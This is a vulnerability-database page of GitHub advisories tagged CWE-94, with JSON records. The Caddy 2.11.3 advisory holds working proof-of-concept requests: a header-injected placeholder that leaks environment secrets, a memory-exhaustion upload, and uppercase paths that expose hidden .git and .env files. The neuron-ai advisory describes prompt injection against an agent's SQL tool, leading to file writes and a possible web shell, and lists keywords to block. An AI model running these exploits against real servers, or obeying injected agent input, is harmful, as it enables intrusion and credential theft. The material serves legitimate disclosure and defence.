CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9753 vulnerabilities reference this CWE, most recent first.
GHSA-J8CW-M86F-RXGW
Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2025-10-22 00:32A vulnerability allowed multiple unrestricted uploads in Pulse Connect Secure before 9.1R11.4 that could lead to an authenticated administrator to perform a file write via a maliciously crafted archive upload in the administrator web interface.
{
"affected": [],
"aliases": [
"CVE-2021-22900"
],
"database_specific": {
"cwe_ids": [
"CWE-669",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-27T12:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability allowed multiple unrestricted uploads in Pulse Connect Secure before 9.1R11.4 that could lead to an authenticated administrator to perform a file write via a maliciously crafted archive upload in the administrator web interface.",
"id": "GHSA-j8cw-m86f-rxgw",
"modified": "2025-10-22T00:32:13Z",
"published": "2022-05-24T19:03:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22900"
},
{
"type": "WEB",
"url": "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/?kA23Z000000boUWSAY"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22900"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J8FM-J268-RQ9P
Vulnerability from github – Published: 2022-05-17 04:58 – Updated: 2022-05-17 04:58Salt (aka SaltStack) before 0.17.1 allows remote attackers to execute arbitrary YAML code via unspecified vectors. NOTE: the vendor states that this might not be a vulnerability because the YAML to be loaded has already been determined to be safe.
{
"affected": [],
"aliases": [
"CVE-2013-4438"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-11-05T18:55:00Z",
"severity": "HIGH"
},
"details": "Salt (aka SaltStack) before 0.17.1 allows remote attackers to execute arbitrary YAML code via unspecified vectors. NOTE: the vendor states that this might not be a vulnerability because the YAML to be loaded has already been determined to be safe.",
"id": "GHSA-j8fm-j268-rq9p",
"modified": "2022-05-17T04:58:29Z",
"published": "2022-05-17T04:58:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4438"
},
{
"type": "WEB",
"url": "http://docs.saltstack.com/topics/releases/0.17.1.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2013/10/18/3"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J8G3-299P-WXQX
Vulnerability from github – Published: 2022-05-01 18:43 – Updated: 2022-05-01 18:43Multiple PHP remote file inclusion vulnerabilities in Form tools 1.5.0b allow remote attackers to execute arbitrary PHP code via a URL in the g_root_dir parameter to (1) admin_page_open.php and (2) client_page_open.php in global/templates/.
{
"affected": [],
"aliases": [
"CVE-2007-6464"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-12-20T00:46:00Z",
"severity": "MODERATE"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in Form tools 1.5.0b allow remote attackers to execute arbitrary PHP code via a URL in the g_root_dir parameter to (1) admin_page_open.php and (2) client_page_open.php in global/templates/.",
"id": "GHSA-j8g3-299p-wxqx",
"modified": "2022-05-01T18:43:15Z",
"published": "2022-05-01T18:43:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6464"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4736"
},
{
"type": "WEB",
"url": "http://osvdb.org/40254"
},
{
"type": "WEB",
"url": "http://osvdb.org/40255"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J8G6-5GQC-MQ36
Vulnerability from github – Published: 2025-12-09 17:19 – Updated: 2025-12-11 15:49Impact
MySQLSelectTool is intended to be a read-only SQL tool (e.g., for LLM agent querying). However, validation based on the first keyword (e.g., SELECT) and a forbidden-keyword list does not block file-writing constructs such as INTO OUTFILE / INTO DUMPFILE.
As a result, an attacker who can influence the tool input (e.g., prompt injection through a public agent endpoint) may be able to write arbitrary content to files on the DB server.
If the MySQL/MariaDB account has the FILE privilege and server configuration permits writes to a useful location (e.g., a web-accessible directory), the impact can escalate to remote code execution on the application host (for example, by writing a PHP web shell).
Who is impacted: Deployments that expose an agent using MySQLSelectTool to untrusted input and run with overly-permissive DB privileges/configuration.
Patches
Not patched in: 2.8.11
Fixed in: 2.8.12
Recommended fix direction:
-
Explicitly reject queries containing:
INTO,OUTFILE,DUMPFILE,LOAD_FILE, and other file/IO-related functions/clauses. -
Prefer AST-based validation (SQL parser) over keyword checks.
-
Constrain allowed tables/columns and disallow multi-statements.
Workarounds
If you cannot upgrade immediately:
-
Remove/disable
MySQLSelectToolfor any agent reachable from untrusted input. -
Ensure DB account used by the tool does not have
FILEprivilege. -
Ensure
secure_file_privis set to a directory that is not web-accessible (or restrict it tightly). -
Add a defensive query filter at the application layer rejecting
INTO OUTFILE,INTO DUMPFILE,LOAD_FILE,;(multi-statements), and suspicious comment patterns.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.8.11"
},
"package": {
"ecosystem": "Packagist",
"name": "neuron-core/neuron-ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67509"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-09T17:19:23Z",
"nvd_published_at": "2025-12-10T23:15:48Z",
"severity": "HIGH"
},
"details": "### Impact\n\n`MySQLSelectTool` is intended to be a read-only SQL tool (e.g., for LLM agent querying). However, validation based on the first keyword (e.g., `SELECT`) and a forbidden-keyword list does not block file-writing constructs such as `INTO OUTFILE` / `INTO DUMPFILE`. \n\nAs a result, an attacker who can influence the tool input (e.g., prompt injection through a public agent endpoint) may be able to write arbitrary content to files on the DB server.\n\nIf the MySQL/MariaDB account has the `FILE` privilege and server configuration permits writes to a useful location (e.g., a web-accessible directory), the impact can escalate to remote code execution on the application host (for example, by writing a PHP web shell).\n\n**Who is impacted:** Deployments that expose an agent using `MySQLSelectTool` to untrusted input and run with overly-permissive DB privileges/configuration.\n\n### Patches\n\n**Not patched in:** 2.8.11 \n\n**Fixed in:** 2.8.12\n\nRecommended fix direction:\n\n- Explicitly reject queries containing: `INTO`, `OUTFILE`, `DUMPFILE`, `LOAD_FILE`, and other file/IO-related functions/clauses.\n\n- Prefer AST-based validation (SQL parser) over keyword checks.\n\n- Constrain allowed tables/columns and disallow multi-statements.\n\n### Workarounds\n\nIf you cannot upgrade immediately:\n\n- Remove/disable `MySQLSelectTool` for any agent reachable from untrusted input.\n\n- Ensure DB account used by the tool **does not** have `FILE` privilege.\n\n- Ensure `secure_file_priv` is set to a directory that is **not** web-accessible (or restrict it tightly).\n\n- Add a defensive query filter at the application layer rejecting `INTO OUTFILE`, `INTO DUMPFILE`, `LOAD_FILE`, `;` (multi-statements), and suspicious comment patterns.",
"id": "GHSA-j8g6-5gqc-mq36",
"modified": "2025-12-11T15:49:01Z",
"published": "2025-12-09T17:19:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/neuron-core/neuron-ai/security/advisories/GHSA-j8g6-5gqc-mq36"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67509"
},
{
"type": "WEB",
"url": "https://github.com/neuron-core/neuron-ai/commit/72735d0ea133266cf2f5d5d195d41e9dd865289a"
},
{
"type": "PACKAGE",
"url": "https://github.com/neuron-core/neuron-ai"
},
{
"type": "WEB",
"url": "https://github.com/neuron-core/neuron-ai/releases/tag/2.8.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Neuron MySQLSelectTool \u201cread-only\u201d bypass via `SELECT ... INTO OUTFILE` (file write \u2192 potential RCE)"
}
GHSA-J8GF-4J8G-8MVP
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32man-group dtale version <= 3.13.1 contains a vulnerability where the query parameters from the request are directly passed into the run_query function without proper sanitization. This allows for unauthenticated remote command execution via the df.query method when the query engine is set to 'python'.
{
"affected": [],
"aliases": [
"CVE-2024-9016"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:46Z",
"severity": "HIGH"
},
"details": "man-group dtale version \u003c= 3.13.1 contains a vulnerability where the query parameters from the request are directly passed into the run_query function without proper sanitization. This allows for unauthenticated remote command execution via the df.query method when the query engine is set to \u0027python\u0027.",
"id": "GHSA-j8gf-4j8g-8mvp",
"modified": "2025-03-20T12:32:50Z",
"published": "2025-03-20T12:32:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9016"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/8b84de4f-e4c6-44f7-b985-d548b07ccf89"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J8GM-36RQ-9PWG
Vulnerability from github – Published: 2022-05-03 03:25 – Updated: 2022-05-03 03:25Microsoft Internet Explorer 6, 7, and 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, related to a "dangling pointer," aka "Uninitialized Memory Corruption Vulnerability," a different vulnerability than CVE-2010-2556 and CVE-2011-0035.
{
"affected": [],
"aliases": [
"CVE-2011-0036"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-02-10T16:00:00Z",
"severity": "HIGH"
},
"details": "Microsoft Internet Explorer 6, 7, and 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, related to a \"dangling pointer,\" aka \"Uninitialized Memory Corruption Vulnerability,\" a different vulnerability than CVE-2010-2556 and CVE-2011-0035.",
"id": "GHSA-j8gm-36rq-9pwg",
"modified": "2022-05-03T03:25:28Z",
"published": "2022-05-03T03:25:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-0036"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2011/ms11-003"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/64912"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A12261"
},
{
"type": "WEB",
"url": "http://osvdb.org/70832"
},
{
"type": "WEB",
"url": "http://support.avaya.com/css/P8/documents/100127294"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/46158"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1025038"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2011/0318"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J8HC-RQ6G-3F96
Vulnerability from github – Published: 2022-12-07 06:30 – Updated: 2022-12-12 15:30Improper neutralization of Server-Side Includes (SSW) within a web page in Movable Type series allows a remote authenticated attacker with Privilege of 'Manage of Content Types' may execute an arbitrary Perl script and/or an arbitrary OS command. Affected products/versions are as follows: Movable Type 7 r.5301 and earlier (Movable Type 7 Series), Movable Type Advanced 7 r.5301 and earlier (Movable Type Advanced 7 Series), Movable Type Premium 1.53 and earlier, and Movable Type Premium Advanced 1.53 and earlier.
{
"affected": [],
"aliases": [
"CVE-2022-43660"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-07T04:15:00Z",
"severity": "HIGH"
},
"details": "Improper neutralization of Server-Side Includes (SSW) within a web page in Movable Type series allows a remote authenticated attacker with Privilege of \u0027Manage of Content Types\u0027 may execute an arbitrary Perl script and/or an arbitrary OS command. Affected products/versions are as follows: Movable Type 7 r.5301 and earlier (Movable Type 7 Series), Movable Type Advanced 7 r.5301 and earlier (Movable Type Advanced 7 Series), Movable Type Premium 1.53 and earlier, and Movable Type Premium Advanced 1.53 and earlier.",
"id": "GHSA-j8hc-rq6g-3f96",
"modified": "2022-12-12T15:30:32Z",
"published": "2022-12-07T06:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43660"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN37014768/index.html"
},
{
"type": "WEB",
"url": "https://movabletype.org/news/2022/11/mt-796-688-released.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J8P7-JCCJ-5WPX
Vulnerability from github – Published: 2026-10-17 21:31 – Updated: 2026-10-17 21:31A security flaw has been discovered in THU-MIG yoloe up to 40cd606cabdbe2b566d6f14a6b162c89206e9a1b. This affects the function eval of the file ultralytics/nn/autobackend.py of the component AutoBackend Model Loading. The manipulation of the argument imgsz/names/kpt_shape results in improper neutralization of directives in dynamically evaluated code. The attack requires a local approach. The exploit has been released to the public and may be used for attacks. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-111865"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-17T21:16:25Z",
"severity": "LOW"
},
"details": "A security flaw has been discovered in THU-MIG yoloe up to 40cd606cabdbe2b566d6f14a6b162c89206e9a1b. This affects the function eval of the file ultralytics/nn/autobackend.py of the component AutoBackend Model Loading. The manipulation of the argument imgsz/names/kpt_shape results in improper neutralization of directives in dynamically evaluated code. The attack requires a local approach. The exploit has been released to the public and may be used for attacks. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-j8p7-jccj-5wpx",
"modified": "2026-10-17T21:31:20Z",
"published": "2026-10-17T21:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111865"
},
{
"type": "WEB",
"url": "https://github.com/THU-MIG/yoloe/issues/148"
},
{
"type": "WEB",
"url": "https://github.com/THU-MIG/yoloe"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-111865"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/1004883"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/421573"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/421573/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J8PR-F7J2-MGCH
Vulnerability from github – Published: 2022-05-01 07:45 – Updated: 2022-05-01 07:45PHP remote file inclusion vulnerability in includes/functions_mod_user.php in phpBB Import Tools Mod 0.1.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.
{
"affected": [],
"aliases": [
"CVE-2006-7147"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-03-07T20:19:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in includes/functions_mod_user.php in phpBB Import Tools Mod 0.1.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.",
"id": "GHSA-j8pr-f7j2-mgch",
"modified": "2022-05-01T07:45:15Z",
"published": "2022-05-01T07:45:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-7147"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29512"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/2531"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/20525"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J8PX-RMRX-76H9
Vulnerability from github – Published: 2026-09-18 13:09 – Updated: 2026-09-18 13:09Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer
Tested against: caddy:2.11.3 (official Docker image, SHA verified at runtime)
Reproduction environment: Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits
This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified caddy:2.11.3 image with the minimal Caddyfile that the documentation suggests for the affected feature.
Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure
File: modules/caddyhttp/rewrite/rewrite.go:215-249 and buildQueryString at 327
Class: CWE-94 (Code Injection), same bug class as CVE-2026-30852 (vars_regexp)
Severity: Low (requires operator config with trailing ? in rewrite URI)
Root cause
When the operator's rewrite URI template:
1. Contains a placeholder that resolves to request data (e.g. {http.request.header.X-Foo}), AND
2. Ends with a literal ? (with empty query side)
…then the bytes produced by the first Replacer pass (which include attacker-controlled header values) are fed through buildQueryString, which runs a second Replacer pass and resolves any placeholders the attacker injected.
// rewrite.go (abridged)
newPath = repl.ReplaceAll(path, "") // pass 1 — header expanded
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" { // trailing-? branch
query = injectedQuery // attacker bytes flow into 'query'
}
}
if query != "" {
newQuery = buildQueryString(query, repl) // pass 2 — RE-EXPANDS attacker input
}
This is the same gadget that was patched in vars_regexp (CVE-2026-30852). The fix did not extend to rewrite, and there is no equivalent regression test for it in rewrite_test.go (compare vars_test.go:63,69,75).
Reproduction (real Caddy 2.11.3)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
rewrite * /serve/{http.request.header.X-Fwd}?
respond "PATH={path} QUERY={query}"
}
docker-compose.yml:
services:
caddy:
image: caddy:2.11.3
environment:
DATABASE_URL: "postgres://leaked:supersecret@dbserver/production"
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
Exploit:
$ docker compose up -d
$ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak
URL-decoded query: postgres://leaked:supersecret@dbserver/production=leak. The DATABASE_URL env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via reverse_proxy, and be readable via {http.request.uri.query} in any downstream handler.
Available read primitives
The same gadget exposes any placeholder the attacker can name in their injected substring:
- {env.X} — any env var on the Caddy process
- {file./path} — any file readable by the Caddy process (if file provider is registered)
- {vars.X} — Caddy-internal request variables
Suggested fix (mirrors the CVE-2026-30852 patch)
After splitting at ?, sanitize placeholder syntax in the injected query before passing it to buildQueryString:
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" {
injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B")
injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D")
query = injectedQuery
}
}
Also recommend adding equivalent regression tests in rewrite_test.go to the three "is not re-expanded" tests in vars_test.go.
Issue 2: Unbounded body buffer via {http.request.body} placeholder — memory exhaustion DoS
File: modules/caddyhttp/replacer.go:217-245 (placeholder resolution for http.request.body)
Class: CWE-770 (Allocation of Resources Without Limits)
Severity: Moderate (any operator using the documented log_append body {http.request.body} pattern is vulnerable)
Root cause
When any handler references the {http.request.body} placeholder, the replacer code path reads the entire request body into a byte slice via io.Copy(buf, req.Body) with no LimitReader wrapping. The needsEarly flag bypasses the request_body middleware's size limit, because the placeholder is resolved before that middleware sees the request.
This means an attacker can send a request body of any size (up to whatever Content-Length they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.
Reproduction (real Caddy 2.11.3, 512 MB container cap)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
log_append body {http.request.body}
respond "OK, length received: {http.request.header.Content-Length}"
}
docker-compose.yml:
services:
caddy:
image: caddy:2.11.3
mem_limit: 512m
memswap_limit: 512m
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
Exploit (Windows PowerShell):
PS> fsutil file createnew big.bin 1073741824
File C:\caddy-verify\test3-body-dos\big.bin is created
PS> curl.exe -X POST --data-binary "@big.bin" -H "Expect:" --max-time 120 http://localhost:8080/
curl: (28) Operation timed out after 120010 milliseconds with 0 bytes received
Container state immediately after:
PS> docker ps -a --filter name=caddy-verify-3
CONTAINER ID IMAGE STATUS NAMES
7f8ba392e7b5 caddy:2.11.3 Exited (137) 2 minutes ago caddy-verify-3
PS> docker inspect caddy-verify-3 --format "ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}"
ExitCode=137 OOMKilled=true
OOMKilled=true is dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after "serving initial configuration" with no error message, which is the signature of a process killed mid-allocation by SIGKILL.
A small body works fine:
$ curl -X POST -d "hello world" http://localhost:8080/
OK, length received: 11
Real-world exploitability
The log_append body {http.request.body} pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like expression {http.request.body}.contains('admin'), custom header forwarding with header_up X-Original-Body {http.request.body}, and any third-party module that resolves the placeholder.
Container memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.
Suggested fix
Wrap the body read with a LimitReader keyed off either:
1. The operator's configured request_body.max_size (if set), or
2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.
If the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.
Issue 3: fileHidden() case-sensitive pattern bypass — exposes "hidden" files via case variation
File: modules/caddyhttp/fileserver/staticfiles.go:669-718 (the fileHidden function and filepath.Match call)
Class: CWE-178 (Improper Handling of Case Sensitivity)
Severity: Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)
Root cause
fileHidden() uses filepath.Match, which is case-sensitive. However:
- macOS APFS is case-insensitive by default
- Windows NTFS is case-insensitive by default
- Linux ext4 can be configured with the casefold flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side
On a case-insensitive filesystem, the OS resolves /.git and /.GIT to the same directory, but Caddy's hide check only fires on the exact-case literal .git. Result: the file is served via the uppercase URL.
On a case-sensitive filesystem where both .git and .GIT exist as separate directories, Caddy hides only .git and exposes .GIT.
Reproduction (real Caddy 2.11.3)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
root * /srv
file_server {
hide .git .env secrets
}
}
Setup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):
/srv/.git/HEAD "ref: refs/heads/main"
/srv/.GIT/HEAD "ref: refs/heads/main (UPPERCASE BYPASS)"
/srv/.env "DATABASE_URL=postgres://user:pass@host"
/srv/.ENV "DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)"
/srv/secrets/api.txt "supersecret_api_key=sk_live_real"
/srv/SECRETS/api.txt "supersecret_api_key=sk_live_real (UPPERCASE BYPASS)"
Test transcript (all three hide rules — .git, .env, secrets — bypassed via uppercase):
PS> curl.exe -i http://localhost:8080/.git/HEAD
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/.GIT/HEAD
HTTP/1.1 200 OK
Content-Length: 40
ref: refs/heads/main (UPPERCASE BYPASS)
PS> curl.exe -i http://localhost:8080/.env
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/.ENV
HTTP/1.1 200 OK
Content-Length: 58
DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)
PS> curl.exe -i http://localhost:8080/secrets/api.txt
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/SECRETS/api.txt
HTTP/1.1 200 OK
Content-Length: 52
Content-Type: text/plain; charset=utf-8
supersecret_api_key=sk_live_real (UPPERCASE BYPASS)
Three separate hide rules, three separate uppercase bypasses, all 200 OK with the "hidden" content served.
Why this matters in practice
.git, .env, and secrets/ are three of the most common entries in production Caddy hide configurations because they correspond to high-value attacker targets:
- .git/HEAD + .git/config + .git/objects/ → source code disclosure
- .env → credentials, API keys, database connection strings
- secrets/ → operator-named bucket of anything sensitive
The bug means that on macOS and Windows hosts (and a subset of Linux hosts), the hide directive provides no protection at all for these files — only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren't there.
Suggested fix
In fileHidden(), on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go's standard library does not expose a portable "is this filesystem case-insensitive" check, so a reasonable conservative approach is to always lowercase both sides on GOOS=darwin and GOOS=windows, and to document for Linux operators that they should not rely on hide if their filesystem has casefold enabled or if they manage their files with case-folding tools.
Alternative: enforce that paths matched by hide are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.
Reproduction kit
A full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official caddy:2.11.3 Docker image.
Reporter
Independent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/caddyserver/caddy/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77281"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-770",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-18T13:09:27Z",
"nvd_published_at": "2026-09-17T21:17:37Z",
"severity": "MODERATE"
},
"details": "# Caddy v2.11.3 \u2014 Three vulnerabilities in handler/placeholder layer\n\n**Tested against:** `caddy:2.11.3` (official Docker image, SHA verified at runtime)\n**Reproduction environment:** Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits\n\nThis advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified `caddy:2.11.3` image with the minimal Caddyfile that the documentation suggests for the affected feature.\n\n---\n\n## Issue 1: Rewrite handler \u2014 placeholder double-expansion enables env var / file disclosure\n\n**File:** `modules/caddyhttp/rewrite/rewrite.go:215-249` and `buildQueryString` at `327`\n**Class:** CWE-94 (Code Injection), same bug class as CVE-2026-30852 (`vars_regexp`)\n**Severity:** Low (requires operator config with trailing `?` in rewrite URI)\n\n### Root cause\n\nWhen the operator\u0027s `rewrite` URI template:\n1. Contains a placeholder that resolves to request data (e.g. `{http.request.header.X-Foo}`), AND\n2. Ends with a literal `?` (with empty query side)\n\n\u2026then the bytes produced by the **first** Replacer pass (which include attacker-controlled header values) are fed through `buildQueryString`, which runs a **second** Replacer pass and resolves any placeholders the attacker injected.\n\n```go\n// rewrite.go (abridged)\nnewPath = repl.ReplaceAll(path, \"\") // pass 1 \u2014 header expanded\nif before, after, found := strings.Cut(newPath, \"?\"); found {\n var injectedQuery string\n newPath, injectedQuery = before, after\n if query == \"\" { // trailing-? branch\n query = injectedQuery // attacker bytes flow into \u0027query\u0027\n }\n}\nif query != \"\" {\n newQuery = buildQueryString(query, repl) // pass 2 \u2014 RE-EXPANDS attacker input\n}\n```\n\nThis is the same gadget that was patched in `vars_regexp` (CVE-2026-30852). The fix did not extend to `rewrite`, and there is no equivalent regression test for it in `rewrite_test.go` (compare `vars_test.go:63,69,75`).\n\n### Reproduction (real Caddy 2.11.3)\n\n`Caddyfile`:\n```\n{\n admin off\n auto_https off\n}\n\n:8080 {\n rewrite * /serve/{http.request.header.X-Fwd}?\n respond \"PATH={path} QUERY={query}\"\n}\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n caddy:\n image: caddy:2.11.3\n environment:\n DATABASE_URL: \"postgres://leaked:supersecret@dbserver/production\"\n ports: [\"8080:8080\"]\n volumes: [\"./Caddyfile:/etc/caddy/Caddyfile:ro\"]\n```\n\nExploit:\n```\n$ docker compose up -d\n$ curl \"http://localhost:8080/anything\" -H \"X-Fwd: foo?{env.DATABASE_URL}=leak\"\nPATH=/serve/foo 